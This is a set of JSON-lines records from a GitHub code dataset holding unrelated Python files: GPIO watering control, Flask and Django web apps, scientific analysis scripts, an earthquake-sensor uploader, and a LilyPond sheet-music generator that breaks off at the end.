GPIO.input(IRO_PIN)\n\n if sensor_value == GPIO.HIGH:\n GPIO.output(RELAY_PIN, GPIO.LOW)\n update_document(\"office-watering\")\n else:\n GPIO.output(RELAY_PIN, GPIO.HIGH)\n\n if reed_value == GPIO.HIGH:\n GPIO.output(LED_PIN, GPIO.HIGH)\n else:\n GPIO.output(LED_PIN, GPIO.LOW)\n\n if ir_val == GPIO.HIGH:\n GPIO.output(LED_PIN_IR, GPIO.HIGH)\n else:\n GPIO.output(LED_PIN_IR, GPIO.LOW)\n\n time.sleep(0.1)\n\nexcept KeyboardInterrupt:\n GPIO.cleanup()","repo_name":"jasonchriscodes/Home-Automation-Manager","sub_path":"hardware/python_code/python_code/02_watering_system.py","file_name":"02_watering_system.py","file_ext":"py","file_size_in_byte":1437,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"18"} +{"seq_id":"29540875494","text":"# I'm not going to read in the packages & data again since it's \n# already in our current environment.\n\ndef create_keywordProcessor(list_of_terms, remove_stopwords=True, \n custom_stopword_list=[\"\"]):\n \"\"\" Creates a new flashtext KeywordProcessor and opetionally \n does some lightweight text cleaning to remove stopwords, including\n any provided by the user.\n \"\"\"\n # create a KeywordProcessor\n keyword_processor = KeywordProcessor()\n keyword_processor.add_keywords_from_list(list_of_terms)\n\n # remove English stopwords if requested\n if remove_stopwords == True:\n keyword_processor.remove_keywords_from_list(stopwords.words('english'))\n\n # remove custom stopwords\n keyword_processor.remove_keywords_from_list(custom_stopword_list)\n \n return(keyword_processor)\n\ndef apply_keywordProcessor(keywordProcessor, text, span_info=True):\n \"\"\" Applies an existing keywordProcessor to a given piece of text. \n Will return spans by default. \n \"\"\"\n keywords_found = keywordProcessor.extract_keywords(text, span_info=span_info)\n return(keywords_found)\n \n\n# create a keywordProcessor of python packages \npy_package_keywordProcessor = create_keywordProcessor(list_of_packages, \n custom_stopword_list=[\"kaggle\", \"http\"])\n\n# apply it to some sample posts (with apply_keywordProcessor function, omitting\n# span information)\nfor post in sample_posts:\n text = apply_keywordProcessor(py_package_keywordProcessor, post, span_info=False)\n print(text)\n","repo_name":"jvpagan17/minimal_flask_example_heroku","sub_path":"script.py","file_name":"script.py","file_ext":"py","file_size_in_byte":1578,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"18"} +{"seq_id":"2273001928","text":"import web_connect\r\nimport Textneck_Model # 첫 번째 파일을 import\r\nfrom multiprocessing import Value, Process\r\nfrom flask import Flask, request, jsonify\r\nimport requests\r\nimport datetime\r\nfrom datetime import datetime\r\n\r\n\r\napp = Flask(__name__)\r\n\r\n# 사용자 이름 저장 변수\r\ncurrent_username = \"\"\r\nturtle_count = 0\r\nspine_count = 18\r\ncurrent_date = datetime.now() # 현재 날짜 가져오기 (수정 해야함)\r\n\r\n# turtle_count\r\n\r\n\r\ndef get_turtle_count(counter):\r\n while True:\r\n turtle_count = counter.value\r\n # turtle_count 값을 사용해 필요한 작업 수행\r\n # 예를 들어, turtle_count가 특정 값에 도달하면 break\r\n print(\"Cnt:\", turtle_count)\r\n\r\n if turtle_count >= 15: # 예시 조건\r\n break\r\n\r\n\r\nif __name__ == \"__main__\":\r\n counter = Value('i', 0) # shared counter (주석 추가)\r\n\r\n p1 = Process(target=Textneck_Model.webcam_processing, args=(counter,))\r\n p2 = Process(target=get_turtle_count, args=(counter,))\r\n\r\n p1.start()\r\n p2.start()\r\n\r\n p1.join()\r\n p2.join()\r\n\r\n\r\n@app.route('/send-username', methods=['POST'])\r\ndef send_username():\r\n global current_username\r\n data = request.json\r\n current_username = data.get('username', \"\")\r\n print(current_username)\r\n return 'OK'\r\n\r\n\r\n# Node.js 서버의 주소\r\nNODE_SERVER_URL = \"http://posturetech.ap-northeast-2.elasticbeanstalk.com/\"\r\n\r\n# 버튼을 누를 때 실행될 함수\r\n\r\n\r\n@app.route('/send-data', methods=['POST'])\r\ndef send_data():\r\n global current_username # 사용자 이름을 함수 내에서 사용하기 위해 global 키워드로 선언\r\n\r\n data = {\r\n \"username\": current_username,\r\n \"turtleCount\": turtle_count,\r\n \"spineCount\": spine_count,\r\n \"date\": current_date\r\n }\r\n\r\n try:\r\n # Node.js 서버로 데이터 전송\r\n response = requests.post(f\"{NODE_SERVER_URL}/save-data\", json=data)\r\n response_data = response.json()\r\n print('전송 성공')\r\n return jsonify({\"message\": \"Data sent successfully.\"})\r\n except Exception as e:\r\n print('Error sending data to Node.js server:', e)\r\n return jsonify({\"error\": \"Error sending data to Node.js server.\"})\r\n\r\n\r\nif __name__ == '__main__':\r\n app.run(host='0.0.0.0', port=3000)\r\n","repo_name":"SiHyun1120/Spine_surgery_2300","sub_path":"Web/web_connect.py","file_name":"web_connect.py","file_ext":"py","file_size_in_byte":2313,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"14866605551","text":"\"\"\"\nEvaluate the performance of the trained model by computing quantities like the\nBayesian information criterion (BIC) or (if thermodynamic integration was performed)\nthe actual evidence (with error) of the model.\n\"\"\"\n# pylint: disable=logging-fstring-interpolation\nimport argparse\nimport json\nimport logging\nfrom pathlib import Path\nfrom typing import Tuple\n\nimport emcee\nimport h5py\nimport lymph\nimport numpy as np\nimport pandas as pd\nfrom scipy.integrate import trapezoid\n\nfrom lyscripts.utils import (\n create_model_from_config,\n load_data_for_model,\n load_yaml_params,\n)\n\nlogger = logging.getLogger(__name__)\n\n\ndef _add_parser(\n subparsers: argparse._SubParsersAction,\n help_formatter,\n):\n \"\"\"\n Add an `ArgumentParser` to the subparsers action.\n \"\"\"\n parser = subparsers.add_parser(\n Path(__file__).name.replace(\".py\", \"\"),\n description=__doc__,\n help=__doc__,\n formatter_class=help_formatter,\n )\n _add_arguments(parser)\n\n\ndef _add_arguments(parser: argparse.ArgumentParser):\n \"\"\"\n Add arguments needed to run this script to a `subparsers` instance\n and run the respective main function when chosen.\n \"\"\"\n parser.add_argument(\n \"data\", type=Path,\n help=\"Path to the tables of patient data (CSV).\"\n )\n parser.add_argument(\n \"model\", type=Path,\n help=\"Path to model output files (HDF5).\"\n )\n\n parser.add_argument(\n \"-p\", \"--params\", default=\"./params.yaml\", type=Path,\n help=\"Path to parameter file\"\n )\n parser.add_argument(\n \"--plots\", default=\"./plots\", type=Path,\n help=\"Directory for storing plots\"\n )\n parser.add_argument(\n \"--metrics\", default=\"./metrics.json\", type=Path,\n help=\"Path to metrics file\"\n )\n\n parser.set_defaults(run_main=main)\n\n\ndef comp_bic(\n log_probs: np.ndarray,\n num_params: int,\n num_data: int\n) -> float:\n \"\"\"\n Compute the negative one half of the Bayesian Information Criterion (BIC).\n\n The BIC is defined as [^1]\n $$ BIC = k \\\\ln{n} - 2 \\\\ln{\\\\hat{L}} $$\n where $k$ is the number of parameters `num_params`, $n$ the number of datapoints\n `num_data` and $\\\\hat{L}$ the maximum likelihood estimate of the `log_prob`.\n It is constructed such that the following is an\n approximation of the model evidence:\n $$ p(D \\\\mid m) \\\\approx \\\\exp{\\\\left( - BIC / 2 \\\\right)} $$\n which is why this function returns the negative one half of it.\n\n [^1]: https://en.wikipedia.org/wiki/Bayesian_information_criterion\n \"\"\"\n return np.max(log_probs) - num_params * np.log(num_data) / 2.\n\ndef compute_evidence(\n temp_schedule: np.ndarray,\n log_probs: np.ndarray,\n num: int = 1000,\n) -> Tuple[float, float]:\n \"\"\"Compute the evidene and its standard deviation.\n\n Given a `temp_schedule` of inverse temperatures and corresponding sets of\n `log_probs`, draw `num` \"paths\" of log-probabilities and compute the evidence for\n each using trapezoidal integration.\n\n The evidence is then the mean of those `num` integrations, while the error is their\n standard deviation.\n \"\"\"\n integrals = np.zeros(shape=num)\n for i in range(num):\n rand_idx = np.random.choice(log_probs.shape[1], size=log_probs.shape[0])\n drawn_accuracy = log_probs[np.arange(log_probs.shape[0]),rand_idx].copy()\n integrals[i] = trapezoid(y=drawn_accuracy, x=temp_schedule)\n return np.mean(integrals), np.std(integrals)\n\n\ndef compute_ti_results(\n metrics: dict,\n params: dict,\n ndim: int,\n h5_file: Path,\n model: Path,\n) -> Tuple[np.ndarray, np.ndarray]:\n \"\"\"Compute the results in case of a thermodynamic integration run.\"\"\"\n temp_schedule = params[\"sampling\"][\"temp_schedule\"]\n num_temps = len(temp_schedule)\n\n if num_temps != len(h5_file[\"ti\"]):\n raise RuntimeError(\n f\"Parameters suggest temp schedule of length {num_temps}, \"\n f\"but stored are {len(h5_file['ti'])}\"\n )\n\n nwalker = ndim * params[\"sampling\"][\"walkers_per_dim\"]\n nsteps = params[\"sampling\"][\"nsteps\"]\n ti_log_probs = np.zeros(shape=(num_temps, nsteps * nwalker))\n\n for i, round in enumerate(h5_file[\"ti\"]):\n reader = emcee.backends.HDFBackend(model, name=f\"ti/{round}\", read_only=True)\n ti_log_probs[i] = reader.get_blobs(flat=True)\n\n evidence, evidence_std = compute_evidence(temp_schedule, ti_log_probs)\n metrics[\"evidence\"] = evidence\n metrics[\"evidence_std\"] = evidence_std\n\n return temp_schedule, ti_log_probs\n\n\ndef main(args: argparse.Namespace):\n \"\"\"\n To evaluate the performance of a sampling round, this program follows these steps:\n\n 1. Read in the paramter file `params.yaml` and the data that was used for inference\n 2. Recreate an instance of the model that was used during the training stage\n 3. If thermodynamic integration (TI) [^2] was performed, compute the accuracy for\n every TI step and integrate over it to obtain the evidence. This is computed for\n a number of samples of the computed accuracies to also obtain an error on the\n evidence.\n 4. Use the recreated model and data to compute quantities like the mean and maximum\n likelihood, as well as the Bayesian information criterion (BIC).\n\n Everything computed is then stored in a `metrics.json` file and for TI, a CSV is\n created that shows how the accuracy developed during the runs.\n\n The output of running `lyscripts evaluate --help` shows this:\n\n ```\n usage: lyscripts evaluate [-h] [-p PARAMS] [--plots PLOTS] [--metrics METRICS]\n data model\n\n Evaluate the performance of the trained model by computing quantities like the\n Bayesian information criterion (BIC) or (if thermodynamic integration was performed)\n the actual evidence (with error) of the model.\n\n\n POSITIONAL ARGUMENTS\n data Path to the tables of patient data (CSV).\n model Path to model output files (HDF5).\n\n OPTIONAL ARGUMENTS\n -h, --help show this help message and exit\n -p, --params PARAMS Path to parameter file (default: ./params.yaml)\n --plots PLOTS Directory for storing plots (default: ./plots)\n --metrics METRICS Path to metrics file (default: ./metrics.json)\n ```\n\n [^2]: https://doi.org/10.1007/s11571-021-09696-9\n \"\"\"\n metrics = {}\n\n params = load_yaml_params(args.params, logger=logger)\n model = create_model_from_config(params, logger=logger)\n ndim = len(model.spread_probs) + model.diag_time_dists.num_parametric\n is_uni = isinstance(model, lymph.Unilateral)\n\n data = load_data_for_model(args.data, header_rows=[0,1] if is_uni else [0,1,2])\n h5_file = h5py.File(args.model, mode=\"r\")\n\n # if TI has been performed, compute the accuracy for every step\n if \"ti\" in h5_file:\n temp_schedule, ti_log_probs = compute_ti_results(\n metrics=metrics,\n params=params,\n ndim=ndim,\n h5_file=h5_file,\n model=args.model,\n )\n logger.info(\n \"Computed results of thermodynamic integration with \"\n f\"{len(temp_schedule)} steps\"\n )\n\n # store inverse temperatures and log-probs in CSV file\n args.plots.parent.mkdir(exist_ok=True)\n\n beta_vs_accuracy = pd.DataFrame(\n np.array([\n temp_schedule,\n np.mean(ti_log_probs, axis=1),\n np.std(ti_log_probs, axis=1)\n ]).T,\n columns=[\"β\", \"accuracy\", \"std\"],\n )\n beta_vs_accuracy.to_csv(args.plots, index=False)\n logger.info(f\"Plotted β vs accuracy at {args.plots}\")\n\n\n # use blobs, because also for TI, this is the unscaled log-prob\n backend = emcee.backends.HDFBackend(args.model, read_only=True, name=\"mcmc\")\n final_log_probs = backend.get_blobs()\n logger.info(f\"Opened samples from emcee backend from {args.model}\")\n\n # store metrics in JSON file\n args.metrics.parent.mkdir(parents=True, exist_ok=True)\n args.metrics.touch(exist_ok=True)\n\n metrics[\"BIC\"] = comp_bic(\n final_log_probs, ndim, len(data),\n )\n metrics[\"max_llh\"] = np.max(final_log_probs)\n metrics[\"mean_llh\"] = np.mean(final_log_probs)\n\n with open(args.metrics, mode=\"w\", encoding=\"utf-8\") as metrics_file:\n json.dump(metrics, metrics_file)\n\n logger.info(f\"Wrote out metrics to {args.metrics}\")\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(description=__doc__)\n _add_arguments(parser)\n\n args = parser.parse_args()\n args.run_main(args)\n","repo_name":"rmnldwg/lyscripts","sub_path":"lyscripts/evaluate.py","file_name":"evaluate.py","file_ext":"py","file_size_in_byte":8604,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"23381550283","text":"import numpy as np\n\n# curve-fit() function imported from scipy\nfrom scipy.optimize import curve_fit\n\nfrom matplotlib import pyplot as plt\n\n# numpy.linspace with the given arguments\n# produce an array of 40 numbers between 0\n# and 10, both inclusive\nx = [14.50514,19.00792,20.50299,20.50275]\ny = [4046.56, 5460.74, 5789.66, 5790.66]\n# Test function with coefficients as parameters\ndef test(x, a, b):\n return a * np.sin(b * x)\n\n# curve_fit() function takes the test-function\n# x-data and y-data as argument and returns\n# the coefficients a and b in param and\n# the estimated covariance of param in param_cov\nparam, param_cov = curve_fit(test, x, y)\n\n\nprint(\"Sine funcion coefficients:\")\nprint(param)\nprint(\"Covariance of coefficients:\")\nprint(param_cov)\n\n# ans stores the new y-data according to\n# the coefficients given by curve-fit() function\nans = [(param[0]*(np.sin(param[1]*x1))) for x1 in x ]\n\n'''Below 4 lines can be un-commented for plotting results\nusing matplotlib as shown in the first example. '''\n\nplt.plot(x, y, 'o', color ='red', label =\"data\")\nplt.plot(x, ans, '--', color ='blue', label =\"optimized data\")\n# plt.legend()\n# plt.show()\n","repo_name":"lordbecerril/Intermediate-Lab","sub_path":"Spectrosocpy/examples/dfsd.py","file_name":"dfsd.py","file_ext":"py","file_size_in_byte":1152,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"27270278851","text":"from django.urls import path\nfrom django.conf.urls import url\nfrom django.views.generic import ListView\nfrom . import views as geo_views\nfrom .models import Entry\n\napp_name = 'geo'\n\nclass EntryList(ListView):\n queryset = Entry.objects.filter(point__isnull=False)\n\nurlpatterns = [\n path('city/', geo_views.CitiesDetailView.as_view(), name='city-detail'),\n path('map/', EntryList.as_view()),\n path('businesses', geo_views.Businesses.as_view()),\n path('city-streets/', geo_views.city_streets, name='city-streets'),\n path('freelancer-location/', geo_views.freelancer_location, name='freelancer-location'),\n\n path('autocomplete/', geo_views.autocomplete, name='autocomplete'),\n path('place/place_create', geo_views.PlaceCreate.as_view(), name='place_create'),\n path('place//', geo_views.PlaceUpdate.as_view(), name='place_update')\n\n\n]","repo_name":"ashaffir/dnd_sos","sub_path":"geo/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":868,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"22473035064","text":"from device.correct_data import Correct\nfrom flask import request\nfrom app import app\nfrom user.DB_user_func import User\n\n\n\"\"\"\n@api {post} /upload Upload the file\n\n@apiName UploadFile\n@apiGroup 3. Files\n\n@apiParam {Number} cookie User cookies after authorization(automatically)\n@apiParam {String} [storage_path] A place where to save the file\n@apiParam {String} my_path The path to the file\n\"\"\"\n\n\n@app.route('/upload', methods=['POST'])\ndef upload():\n \"\"\"Upload user file.\"\"\"\n data = request.get_json()\n session = request.cookies.get('session')\n username = User().find_username(session)\n if username:\n n = Correct().add(data=data, username=str(username))\n return n\n else:\n return 'You are not authorized', 401\n\n","repo_name":"orikik/shemesh","sub_path":"app/file_upload.py","file_name":"file_upload.py","file_ext":"py","file_size_in_byte":751,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"29827414368","text":"# This script checks the width of the spine images to infer the number of volumes it represents\n# approx 70px is the width of 1 book\n\n## Checks dimensions of images\nimport struct\nimport imghdr\nimport os\nimport csv\nimport math\nfrom pathlib import Path\n\n# Determines image dimensions of given file\ndef get_image_size(fname):\n '''Determine the image type of fhandle and return its size.\n from draco'''\n with open(fname, 'rb') as fhandle:\n head = fhandle.read(24)\n if len(head) != 24:\n return\n if imghdr.what(fname) == 'png':\n check = struct.unpack('>i', head[4:8])[0]\n if check != 0x0d0a1a0a:\n return\n width, height = struct.unpack('>ii', head[16:24])\n elif imghdr.what(fname) == 'gif':\n width, height = struct.unpack('H', fhandle.read(2))[0] - 2\n # We are at a SOFn block\n fhandle.seek(1, 1) # Skip `precision' byte.\n height, width = struct.unpack('>HH', fhandle.read(4))\n except Exception: #IGNORE:W0703\n return\n else:\n return\n return width, height\n\n## Walk through directory and get spine image names\nroot_path = Path(__file__).parent.absolute() / 'New images' / 'spines' / 'web optmized'\nnum_books = 0\nvolumes_dict = {}\n\nfor root, dirs, files in os.walk(root_path):\n for file in files:\n if('png' in file):\n image_dimensions = get_image_size(root_path / file)\n width = image_dimensions[0]\n height = image_dimensions[1]\n volumes_dict[str(file)] = math.ceil(width/70)\n num_books += 1\n print(\"{}: {}\".format(file, width/70))\n\nprint(num_books)\n\n# Write results to file\nwith open('volumes_per_image.csv', mode='w') as file:\n writer = csv.writer(file, delimiter=',', quotechar='\"', quoting=csv.QUOTE_MINIMAL)\n for book, no_volumes in volumes_dict.items():\n writer.writerow([book,no_volumes])","repo_name":"ReadingWithAusten/beta","sub_path":"processing/image_dimensions..py","file_name":"image_dimensions..py","file_ext":"py","file_size_in_byte":2463,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"39395093316","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Feb 21 18:58:41 2012\n\n@author: romain\n\"\"\"\n# LIBRARIES\nimport os as os\nfrom copy import deepcopy\n\n# CONSTANTS\nTr = True\nFl = False\n\n\n# SCRIPT SETTINGS\n\nload_data = Fl #True if the data have to be loaded\nload_library = Fl #True if the library has to be loaded\nset_extent = Fl\nresize = Fl\nOffset = Fl\nfilter_sig = Fl\nfiltered = Tr\n# Plot parameters\nsensitivity = 0.05 \t# when mode set to other\nmode = \"other\"\t\t# \"other\" or \"max\"\ncolor_trace =[\"blue\", \"red\"]\ncolor_retrace = [\"red\", \"blue\"]\n\n# SCRIPT BEGIN\n\nif load_library :\n\tos.chdir(\"/home/romain\")\n\tfrom setproc.data_plot.classes.map import Map\n\nif load_data :\n\tos.chdir(\"/media/Iomega_HDD/Measures/Tb2C/sample3/7R/J9/Hysteresis_vs__Vg/\")\n\tMap1t = Map(\"G_B_trace.json\")\n\tMap1r = Map(\"G_B_retrace.json\")\n\tos.chdir(\"/media/Iomega_HDD/Measures/Tb2C/sample3/7R/J9/Hysteresis_vs__Vg2/\")\n\tMap2t = Map(\"G_B_trace.json\")\n\tMap2r = Map(\"G_B_retrace.json\")\n\nif set_extent :\n\t# Set extent\n\tMap1t.SetExtent([-0.8,-0.4,-0.4,0.4])\n\tMap1r.SetExtent([-0.8,-0.4,-0.4,0.4])\n\tMap2t.SetExtent([-0.4,-0.2,-0.4,0.4])\n\tMap2r.SetExtent([-0.4,-0.2,-0.4,0.4])\n\nif resize :\n\t# Resize\n\tMap1t.sweeps.Resize(-0.2,0.2)\n\tMap1r.sweeps.Resize(0.2,-0.2)\n\tMap2t.sweeps.Resize(-0.2,0.2)\n\tMap2r.sweeps.Resize(0.2,-0.2)\nif Offset :\n\tMap1t.sweeps.SetOffset(0.0308)\n\tMap1r.sweeps.SetOffset(-0.0308)\n\tMap2t.sweeps.SetOffset(0.0308)\n\tMap2r.sweeps.SetOffset(-0.0308)\n\nif filter_sig :\n\t# Copy\n\tMap1tf = deepcopy(Map1t)\n\tMap1rf = deepcopy(Map1r)\n\tMap2tf = deepcopy(Map2t)\n\tMap2rf = deepcopy(Map2r)\n\t# Filter \n\tMap1tf.sweeps.GetFilter(0,4,1,1)\n\tMap1rf.sweeps.GetFilter(0,4,1,1)\n\tMap2tf.sweeps.GetFilter(0,4,1,1)\n\tMap2rf.sweeps.GetFilter(0,4,1,1)\n\nif plot :\n\tfig= figure()\n\tax1 = fig.add_subplot(311)\n\tax2 = fig.add_subplot(312)\n\tax3 = fig.add_subplot(313)\n\tif filtered :\n\t\tMap1tf.PlotFilteredExtrema(newplot=False, other_axes = ax2,\n\t\t\t\t\t\t\t\t sensitivity = sensitivity, mode = mode,\n\t\t\t\t\t\t\t\t color = color_trace)\n\t\tMap1rf.PlotFilteredExtrema(newplot=False, other_axes = ax3,\n\t\t\t\t\t\t\t\t sensitivity = sensitivity, mode = mode,\n\t\t\t\t\t\t\t\t color = color_retrace)\n\t\tMap2tf.PlotFilteredExtrema(newplot=False, other_axes = ax2,\n\t\t\t\t\t\t\t\t sensitivity = sensitivity, mode = mode,\n\t\t\t\t\t\t\t\t color = color_trace)\n\t\tMap2rf.PlotFilteredExtrema(newplot=False, other_axes = ax3,\n\t\t\t\t\t\t\t\t sensitivity = sensitivity, mode = mode,\n\t\t\t\t\t\t\t\t color = color_retrace)\n\telse :\n\t\tMap1tf.PlotExtrema(newplot=False, other_axes = ax2, color = color_trace)\n\t\tMap1rf.PlotExtrema(newplot=False, other_axes = ax3, color = color_retrace)\n\t\tMap2tf.PlotExtrema(newplot=False, other_axes = ax2, color = color_trace)\n\t\tMap2rf.PlotExtrema(newplot=False, other_axes = ax3, color = color_retrace)\n\n\tax1.plot(P1t[0], P1t[1], color = \"red\")\n\tax1.plot(P2t[0], P2t[1], color = \"red\")\n\n\t\n\tax1.set_xlim(-0.7,-0.2)\n\tax2.set_xlim(-0.7,-0.2)\n\tax3.set_xlim(-0.7,-0.2)\n\n\tax2.set_ylim(-0.06,0.06)\n\tax3.set_ylim(-0.06,0.06)\n\n\n","repo_name":"romainvincent/NewSetProc","sub_path":"exemples/hysteresis_analysis.py","file_name":"hysteresis_analysis.py","file_ext":"py","file_size_in_byte":2931,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"16040803831","text":"# coding: utf-8\n'''\nこのサンプルプログラムはD7Sセンサで取得したデータをAmbientに送信して可視化します。\nAmbientにデータを送信する場合は5秒以上間隔を開ける必要があります。\nhttps://ambidata.io/refs/spec/\nSleepを入れて10秒に1回送信します。\n'''\nfrom __future__ import print_function\n\nimport os\nimport time\nimport datetime\n\nimport grove_d7s\nimport ambient\n\n# sensor instance\nsensor = grove_d7s.GroveD7s()\n\n# ambient instance\ntry:\n AMBIENT_CHANNEL_ID = int(os.environ['AMBIENT_CHANNEL_ID'])\n AMBIENT_WRITE_KEY = os.environ['AMBIENT_WRITE_KEY']\n am = ambient.Ambient(AMBIENT_CHANNEL_ID, AMBIENT_WRITE_KEY)\nexcept KeyError:\n print(\"isaaxの環境変数サービスを使って AMBIENT_CHANNEL_ID と AMBIENT_WRITE_KEY を設定してください\")\n exit(1)\n\n\ndef main():\n while sensor.isReady() == False:\n print('.')\n time.sleep(1.0)\n\n print(\"start\")\n\n while True:\n # 10秒のインターバルを設定\n time.sleep(10)\n # センサーデータの取得\n si = sensor.getInstantaneusSI()\n pga = sensor.getInstantaneusPGA()\n now = datetime.datetime.today()\n eq = sensor.isEarthquakeOccuring()\n\n # センサーの初期化中は値がNoneになるので処理をスキップ\n if si == None and pga == None:\n continue\n\n # Ambientに送信するペイロードを作成\n payload = {\n \"d5\": int(eq),\n \"d1\": si,\n \"d2\": pga,\n \"created\": now.strftime(\"%Y/%m/%d %H:%M:%S\")\n }\n try:\n am.send(payload)\n except Exception as e:\n print(e)\n\n # デバッグ用に送信したデータを標準出力(本当は不要)\n print(now.strftime(\"[%Y/%m/%d %H:%M:%S]\"),\n \"SI={}[Kine]\".format(si), \n \"PGA={}[gal]\".format(pga),\n \"EQ=%s\" % eq)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"nemo-kaz/d7s-with-isaax","sub_path":"ambient_sample.py","file_name":"ambient_sample.py","file_ext":"py","file_size_in_byte":1992,"program_lang":"python","lang":"ja","doc_type":"code","dataset":"github-code","pt":"18"} +{"seq_id":"23311924938","text":"from pylearn2.blocks import Block\nfrom pylearn2.utils.rng import make_theano_rng\nfrom pylearn2.space import Conv2DSpace, VectorSpace\nimport theano\nfrom theano.compile.mode import get_default_mode\n\nclass ScaleAugmentation(Block):\n\n def __init__(self, space, seed=20150111, mean=1., std=.05, cpu_only=True):\n self.rng = make_theano_rng(seed, which_method=['normal'])\n self.mean = mean\n self.std = std\n self.space = space\n self.cpu_only = cpu_only\n super(ScaleAugmentation, self).__init__()\n\n def create_theano_function(self):\n if hasattr(self, 'f'):\n return self.f\n else:\n X = self.space.make_theano_batch()\n dim = X.ndim\n arg = (dim-1)*('x',)\n scale = self.rng.normal(size=[X.shape[0]], avg=self.mean, std=self.std)\n scale = scale.dimshuffle(0,*arg)\n out = X*scale\n if self.cpu_only:\n mode = get_default_mode().excluding('gpu')\n else:\n mode = get_default_mode()\n return theano.function([X], out, mode=mode)\n\n def perform(self, X):\n f = self.create_theano_function()\n return f(X)\n\n def get_input_space(self):\n return self.space\n\n def get_output_space(self):\n return self.space\n\n","repo_name":"BouchardLab/pylearn2","sub_path":"pylearn2/data_augmentation.py","file_name":"data_augmentation.py","file_ext":"py","file_size_in_byte":1315,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"34465157380","text":"import logging\nimport string\nfrom typing import Any, Dict, List, Optional, Tuple, Union\n\nfrom .theory import get_most_likely_key\nfrom .types import GroupingElement, GroupingType, IntFloat, Note, Score, ScoresType\nfrom .utils import align_duration, is_close_to_round\n\n_logger = logging.getLogger(__name__)\n\n\nclass LilyPondElement:\n pass\n\n\nclass LilyPondNote(LilyPondElement):\n def __init__(\n self, note: Union[str, List[str]], octave: Union[int, List[int]], dur: IntFloat\n ):\n \"\"\"\n Class representing single lilypond note.\n\n :param note: Note pitch within octave\n :param octave: Octave\n :param dur: Duration in beats\n \"\"\"\n assert isinstance(dur, int) or dur.is_integer()\n\n if note == \"r\":\n assert octave is None\n else:\n assert octave is not None\n\n self.note = note\n self.octave = octave\n\n self.dur = int(dur)\n self.dots = 0\n self.tied = False\n\n def add_dot(self) -> None:\n \"\"\"\n Make note dotted.\n \"\"\"\n self.dots += 1\n\n def make_tied(self) -> None:\n \"\"\"\n Tie note to following note.\n \"\"\"\n assert self.note != \"r\", \"Rests cannot be tied\"\n self.tied = True\n\n def make_untied(self) -> None:\n \"\"\"\n Untie note from following note.\n \"\"\"\n self.tied = False\n\n def __str__(self):\n suffix = str(self.dur) + self.dots * \".\" + self.tied * \"~\"\n\n if self.note == \"r\":\n return self.note + suffix\n elif isinstance(self.note, str):\n assert isinstance(self.octave, int)\n octave_mod = max(0, self.octave) * \"'\" + abs(min(0, self.octave)) * \",\"\n return self.note + octave_mod + suffix\n elif isinstance(self.note, list):\n octave_mods = [max(0, o) * \"'\" + abs(min(0, o)) * \",\" for o in self.octave]\n return (\n f\"<{' '.join(n + o for n, o in zip(self.note, octave_mods))}>{suffix}\"\n )\n else:\n raise ValueError(\"Type of note must be str or List[str]\")\n\n def __repr__(self):\n return (\n f\"LilyPondNote(note={self.note!r}, \"\n f\"octave={self.octave!r}, dur={self.dur!r}, \"\n f\"dots={self.dots!r}, tied={self.tied!r})\"\n )\n\n\nclass LilyPondBar(LilyPondElement):\n def __init__(self, bar: str = None):\n \"\"\"\n Class representing lilypond bar.\n\n :param bar: Bar command\n \"\"\"\n self.bar = bar or \"|\"\n\n def make_end(self, repeat: bool = False) -> None:\n \"\"\"\n Convert to end-of-staff bar.\n\n :param repeat: Whether to add repeat dots.\n \"\"\"\n if repeat:\n self.bar = r'\\bar \":|.\"'\n else:\n self.bar = r'\\bar \"|.\"'\n\n def __str__(self):\n return self.bar + \"\\n\"\n\n def __repr__(self):\n return f\"LilyPondBar({self.bar!r})\"\n\n\nclass LilyPondCommand(LilyPondElement):\n def __init__(self, cmd: str):\n \"\"\"\n Class representing arbitrary lilypond command.\n\n :param cmd: Command string\n \"\"\"\n self.cmd = cmd\n\n def __str__(self):\n return self.cmd\n\n def __repr__(self):\n return f\"LilyPondCommand({self.cmd!r})\"\n\n\ndef parse_grouping(sheets_config: Dict) -> GroupingType:\n \"\"\"\n Parse grouping config from sheets config.\n\n :param sheets_config: Sheets config with grouping info\n \"\"\"\n return [GroupingElement(**config) for config in sheets_config[\"grouping\"]]\n\n\ndef _get_lilypond_header(**kwargs) -> str:\n header_args = {\"tagline\": \"Bits and Pieces\"}\n header_args.update(kwargs)\n\n out = \"\\\\header {\\n\"\n for k, v in header_args.items():\n if k == \"dedication\":\n # Add extra space\n out += f' {k}=\\\\markup {{ \\\\center-column {{ \"{v}\" \\\\vspace #1 }} }}\\n'\n else:\n out += f' {k}=\"{v}\"\\n'\n return out + \"}\"\n\n\ndef _get_lilypond_paper(**kwargs) -> str:\n paper_args = {\n \"indent\": 0,\n \"top-margin\": 15,\n \"bottom-margin\": 15,\n \"left-margin\": 12,\n \"right-margin\": 12,\n }\n paper_args.update(kwargs)\n\n out = \"\\\\paper {\\n\"\n for k, v in paper_args.items():\n out += f\" {k}={v}\\n\"\n return out + \"}\"\n\n\ndef _check_tuplet(val: IntFloat, mul: int, bar_length: int):\n val_mul = val * (mul / (mul - 1))\n if is_close_to_round(val_mul):\n val_mul = round(val_mul)\n\n i = bar_length\n while i >= 2.0:\n if val_mul == i:\n return i\n i /= 2\n return None\n\n\ndef _get_biggest_divisor(\n val: IntFloat, current_length: int, bar_length: int\n) -> Tuple[IntFloat, IntFloat]:\n assert (bar_length & (bar_length - 1)) == 0 # require power of 2\n\n # Check for triplets\n triplet = _check_tuplet(val, 3, bar_length)\n if 